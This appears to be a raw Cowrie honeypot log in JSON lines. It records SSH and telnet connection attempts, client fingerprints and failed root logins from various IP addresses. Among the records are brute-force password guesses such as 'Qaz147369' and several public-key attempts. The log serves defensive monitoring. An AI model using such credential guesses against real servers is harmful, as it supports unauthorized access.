{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":60530,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dbc952dedf3","protocol":"ssh","message":"New connection: 193.228.128.84:60530 (10.17.0.5:22) [session: 7dbc952dedf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:54.991677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:54.995668Z","src_ip":"193.228.128.84","session":"7dbc952dedf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:55.100942Z","src_ip":"193.228.128.84","session":"7dbc952dedf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"avatar","message":"login attempt [root/avatar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:55.413424Z","src_ip":"193.228.128.84","session":"7dbc952dedf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:56.518567Z","src_ip":"193.228.128.84","session":"7dbc952dedf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.33.66","src_port":43252,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d1a09d70018","protocol":"ssh","message":"New connection: 148.135.33.66:43252 (10.17.0.5:22) [session: 4d1a09d70018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:59.365703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:59.369805Z","src_ip":"148.135.33.66","session":"4d1a09d70018","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:59.439962Z","src_ip":"148.135.33.66","session":"4d1a09d70018","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:20:42:58:6e:2d:19:2d:f6:67:67:ce:fd:c1:d4:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbtWw81+4UrsGVdNc6RYbJT0UnOQueId0a/ZQUkw+zgBK4wp/OoVC75H8UhIxOqNYoMsnQ9LV3091Wo4w66L148iVyXjmeEbMgQVuCttw9JGr12J/BEC3dLvy2eLwlYQcIT2odEz5btSXK5mcnScMuMRGc/2wwDizu+oZrwMsu7oFVAdIJcZnAHUfLM6Xpe9wfteg08jWRTze0g37tPkYvv0gfCwR9BWuYbTP5lJ/CdZeOmrdS/2le5X3V0B2xt3rxdbnBAyMvvnT1/v3z8hQUFJMhFwQPqb5o7l8ZoP+VWdchG4PO7fcQ7Z58pcjKKcJW7yWwXlRmFZhHLSC3MWAVGBaC8lRupkILqSD94ycI0CLHGf9cAT1wuDTmYb6YbMO3LNkZfin+C9r5sDPynNgSH5eNT+jIKcSSams6Esa50exYzE34Y1I2rXw73msqJaqW0u1J0EtMeZmePbMFQ4+oi77T6a+Cw0u7tKsRpKcHDzaU4D7C4C2lyluN15pvfnhvzhuKbJdHd344RxM6m7RY2M6nsAzGvwHCYp7dEj1dLewYUPsH0xWWiVQ49JbPzJWTToQwEiLu1vIKaxnYgDIJCRKRrIj3M5kG24fOcXOi5dfJcFWC8yEmKj8ZL+nbJs0pR/3xJYMwKIvfVibAoCZJJrPd7OY+lkUJ+CQhzMVBFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:20:42:58:6e:2d:19:2d:f6:67:67:ce:fd:c1:d4:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:59.765951Z","src_ip":"148.135.33.66","session":"4d1a09d70018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:20:42:58:6e:2d:19:2d:f6:67:67:ce:fd:c1:d4:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbtWw81+4UrsGVdNc6RYbJT0UnOQueId0a/ZQUkw+zgBK4wp/OoVC75H8UhIxOqNYoMsnQ9LV3091Wo4w66L148iVyXjmeEbMgQVuCttw9JGr12J/BEC3dLvy2eLwlYQcIT2odEz5btSXK5mcnScMuMRGc/2wwDizu+oZrwMsu7oFVAdIJcZnAHUfLM6Xpe9wfteg08jWRTze0g37tPkYvv0gfCwR9BWuYbTP5lJ/CdZeOmrdS/2le5X3V0B2xt3rxdbnBAyMvvnT1/v3z8hQUFJMhFwQPqb5o7l8ZoP+VWdchG4PO7fcQ7Z58pcjKKcJW7yWwXlRmFZhHLSC3MWAVGBaC8lRupkILqSD94ycI0CLHGf9cAT1wuDTmYb6YbMO3LNkZfin+C9r5sDPynNgSH5eNT+jIKcSSams6Esa50exYzE34Y1I2rXw73msqJaqW0u1J0EtMeZmePbMFQ4+oi77T6a+Cw0u7tKsRpKcHDzaU4D7C4C2lyluN15pvfnhvzhuKbJdHd344RxM6m7RY2M6nsAzGvwHCYp7dEj1dLewYUPsH0xWWiVQ49JbPzJWTToQwEiLu1vIKaxnYgDIJCRKRrIj3M5kG24fOcXOi5dfJcFWC8yEmKj8ZL+nbJs0pR/3xJYMwKIvfVibAoCZJJrPd7OY+lkUJ+CQhzMVBFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:59.769569Z","src_ip":"148.135.33.66","session":"4d1a09d70018","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:73:9d:a3:a4:c8:23:25:98:e1:30:ba:12:b5:9a:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA+aYDe+unKOCu8akuZ/gBooQlLaPDLGROECGC8G58obXOGEDetGavbDE+gQWef1B4ofAtLk0v3Ef2dZwZwl3YM/R2yjYduFAt58rc6XYJBMaTNWnkjuEjtsTBDLQyQATcTxDkPmgFVnho1rYZ+2N5aCVQT9kISGcWgS9E7u8GRIOyryWGzTiTmasYjpS4VIr0lsBIlICzpr4e+zGRkPCG1wWdPDOmlBQpXXtTalJNbMLC3tOH3dVO/Y6vOLBULqm/dPWhduqYmy7ZezJpN6gm56RY4CsI/yMUTz7W3C7fQnzgmZR35eG+nZzgcAFg55WR2CD+hSSSDBY1FcBEJste1Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:73:9d:a3:a4:c8:23:25:98:e1:30:ba:12:b5:9a:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:59.839881Z","src_ip":"148.135.33.66","session":"4d1a09d70018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:73:9d:a3:a4:c8:23:25:98:e1:30:ba:12:b5:9a:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA+aYDe+unKOCu8akuZ/gBooQlLaPDLGROECGC8G58obXOGEDetGavbDE+gQWef1B4ofAtLk0v3Ef2dZwZwl3YM/R2yjYduFAt58rc6XYJBMaTNWnkjuEjtsTBDLQyQATcTxDkPmgFVnho1rYZ+2N5aCVQT9kISGcWgS9E7u8GRIOyryWGzTiTmasYjpS4VIr0lsBIlICzpr4e+zGRkPCG1wWdPDOmlBQpXXtTalJNbMLC3tOH3dVO/Y6vOLBULqm/dPWhduqYmy7ZezJpN6gm56RY4CsI/yMUTz7W3C7fQnzgmZR35eG+nZzgcAFg55WR2CD+hSSSDBY1FcBEJste1Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:59.845998Z","src_ip":"148.135.33.66","session":"4d1a09d70018","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:66:5e:44:15:fe:66:2c:09:cd:28:b5:b8:4b:9b:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3dy7BLGzK8TX0X4Xj908Sb8L+B65fPwjzaZVcSX4utgvkwtja2OtqGlx3ojN/Ug840R/cgDpF3PocCYeAmKoCMQIkTLJuRGagd7i+wZUAqrzokGT5DYqA4lhG2flk+b1FX+7m1wKxQ+OMvE/+b0SVXdIX7mITfZjQwE9Vl8ggELIdfal+UJJWUjF9PFjCxLSFcLEuQ/vceQqh9LTziu2mBW8f/+lQANHetzGETWDveMh5H5/G97sMA3+pj1d+RIrQtY7klSoSXeLtQn/bW6BqTDkrSbS1TYBiO7rQgm+5hojutD179t0Mw74TvIOmJw2mD+xG+/Db+7fAeQksPxsOQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:66:5e:44:15:fe:66:2c:09:cd:28:b5:b8:4b:9b:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:59.913973Z","src_ip":"148.135.33.66","session":"4d1a09d70018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:66:5e:44:15:fe:66:2c:09:cd:28:b5:b8:4b:9b:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3dy7BLGzK8TX0X4Xj908Sb8L+B65fPwjzaZVcSX4utgvkwtja2OtqGlx3ojN/Ug840R/cgDpF3PocCYeAmKoCMQIkTLJuRGagd7i+wZUAqrzokGT5DYqA4lhG2flk+b1FX+7m1wKxQ+OMvE/+b0SVXdIX7mITfZjQwE9Vl8ggELIdfal+UJJWUjF9PFjCxLSFcLEuQ/vceQqh9LTziu2mBW8f/+lQANHetzGETWDveMh5H5/G97sMA3+pj1d+RIrQtY7klSoSXeLtQn/bW6BqTDkrSbS1TYBiO7rQgm+5hojutD179t0Mw74TvIOmJw2mD+xG+/Db+7fAeQksPxsOQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:59.917631Z","src_ip":"148.135.33.66","session":"4d1a09d70018","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:59:87:a6:81:09:b1:23:47:6f:52:a8:10:6d:77:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxo7QHHxh3akyfZg1hBHdgYcfCoKJrDYVoPF/Cooybe3tWcOXUpAr3Urf1NuP+RU7F84+OCLl04VjNpgrTbUvsfS4quYihaC6ySyaUD3lUhZUsUBt/vjzjh4eSY028f85XT4HCvx8dV1G6oLLvrVOxR1B7iNnYAOsu1pffdl3kHLzzqS9iHFpyTySbta/kKg46QbtBXEDLVHXc/SEbn17t+eDHFXC2kBHrfnb19eywCwF8Gn3fDuZcS5jQ6gIMqCs1vNTSVsOGq2qCBqEqvTWh/Y7soFlsLghbTQdR4590anL2/t41qNrw2WZ57lj2b6aaiqL1TzTZxmTFSaJzjS66Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:59:87:a6:81:09:b1:23:47:6f:52:a8:10:6d:77:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:59.987333Z","src_ip":"148.135.33.66","session":"4d1a09d70018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:59:87:a6:81:09:b1:23:47:6f:52:a8:10:6d:77:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxo7QHHxh3akyfZg1hBHdgYcfCoKJrDYVoPF/Cooybe3tWcOXUpAr3Urf1NuP+RU7F84+OCLl04VjNpgrTbUvsfS4quYihaC6ySyaUD3lUhZUsUBt/vjzjh4eSY028f85XT4HCvx8dV1G6oLLvrVOxR1B7iNnYAOsu1pffdl3kHLzzqS9iHFpyTySbta/kKg46QbtBXEDLVHXc/SEbn17t+eDHFXC2kBHrfnb19eywCwF8Gn3fDuZcS5jQ6gIMqCs1vNTSVsOGq2qCBqEqvTWh/Y7soFlsLghbTQdR4590anL2/t41qNrw2WZ57lj2b6aaiqL1TzTZxmTFSaJzjS66Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:59.991081Z","src_ip":"148.135.33.66","session":"4d1a09d70018","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:bb:0d:f8:ea:6f:3c:ab:d3:6c:62:65:9c:51:31:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGcDh4APfRv+jcWlI0VNW5z1R6J7GR0l5DTu+sJRILZ5DLB/kKb9EhMBKu/5VAxgAZRbUNqR2VfYkeXFiVVeWhvwf02gMD0hzy8bjia7+rpxWJLl55eWyQQGnOVpSMihDhhMBDWwQvgucbdKkCba9xoGs9Nbz6ziPCVgVpa+iRZa5v2/ox7kvzQ/96mQibq94R9WoNeexAqtzcAnObL6soUo5kkR+pnk16DKGllELL2Xo5i30cHfTY+FSwhdbIc2BWNPXrUsahrT3umddNbAc/LX2ak1OlCsnizSe1ZTJhw2akLTk3553R9JNDp1JCNCBhNgjtTSMVb4HCYig3n759","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:bb:0d:f8:ea:6f:3c:ab:d3:6c:62:65:9c:51:31:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:00.060300Z","src_ip":"148.135.33.66","session":"4d1a09d70018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:bb:0d:f8:ea:6f:3c:ab:d3:6c:62:65:9c:51:31:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGcDh4APfRv+jcWlI0VNW5z1R6J7GR0l5DTu+sJRILZ5DLB/kKb9EhMBKu/5VAxgAZRbUNqR2VfYkeXFiVVeWhvwf02gMD0hzy8bjia7+rpxWJLl55eWyQQGnOVpSMihDhhMBDWwQvgucbdKkCba9xoGs9Nbz6ziPCVgVpa+iRZa5v2/ox7kvzQ/96mQibq94R9WoNeexAqtzcAnObL6soUo5kkR+pnk16DKGllELL2Xo5i30cHfTY+FSwhdbIc2BWNPXrUsahrT3umddNbAc/LX2ak1OlCsnizSe1ZTJhw2akLTk3553R9JNDp1JCNCBhNgjtTSMVb4HCYig3n759","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:00.064225Z","src_ip":"148.135.33.66","session":"4d1a09d70018","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:00.134017Z","src_ip":"148.135.33.66","session":"4d1a09d70018","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37184,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ea57e4ebe0f","protocol":"telnet","message":"New connection: 152.42.224.71:37184 (10.17.0.5:23) [session: 5ea57e4ebe0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:00.473231Z"}
{"eventid":"cowrie.session.closed","duration":13.656750440597534,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:01.948304Z","src_ip":"152.42.224.71","session":"471aeedb8a9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":19667,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bd02d577bd3","protocol":"ssh","message":"New connection: 223.197.186.7:19667 (10.17.0.5:22) [session: 1bd02d577bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:02.418897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:02.423803Z","src_ip":"223.197.186.7","session":"1bd02d577bd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:02.651774Z","src_ip":"223.197.186.7","session":"1bd02d577bd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dotnet","message":"login attempt [root/dotnet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:03.603119Z","src_ip":"223.197.186.7","session":"1bd02d577bd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:04.824493Z","src_ip":"223.197.186.7","session":"1bd02d577bd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.98.60","src_port":60138,"dst_ip":"10.17.0.5","dst_port":22,"session":"39ce80116d63","protocol":"ssh","message":"New connection: 43.245.98.60:60138 (10.17.0.5:22) [session: 39ce80116d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:16.582917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:16.588084Z","src_ip":"43.245.98.60","session":"39ce80116d63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00189113616943,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:16.658656Z","src_ip":"152.42.224.71","session":"ae48d54566c1","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:16.826598Z","src_ip":"43.245.98.60","session":"39ce80116d63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44200,"dst_ip":"10.17.0.5","dst_port":23,"session":"176ea4898db2","protocol":"telnet","message":"New connection: 152.42.224.71:44200 (10.17.0.5:23) [session: 176ea4898db2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:17.087203Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz147369","message":"login attempt [root/Qaz147369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:17.815783Z","src_ip":"43.245.98.60","session":"39ce80116d63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:19.065348Z","src_ip":"43.245.98.60","session":"39ce80116d63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.148.170","src_port":48708,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9ac2bef59ff","protocol":"ssh","message":"New connection: 43.133.148.170:48708 (10.17.0.5:22) [session: f9ac2bef59ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:22.346822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:22.351504Z","src_ip":"43.133.148.170","session":"f9ac2bef59ff","protocol":"ssh"}
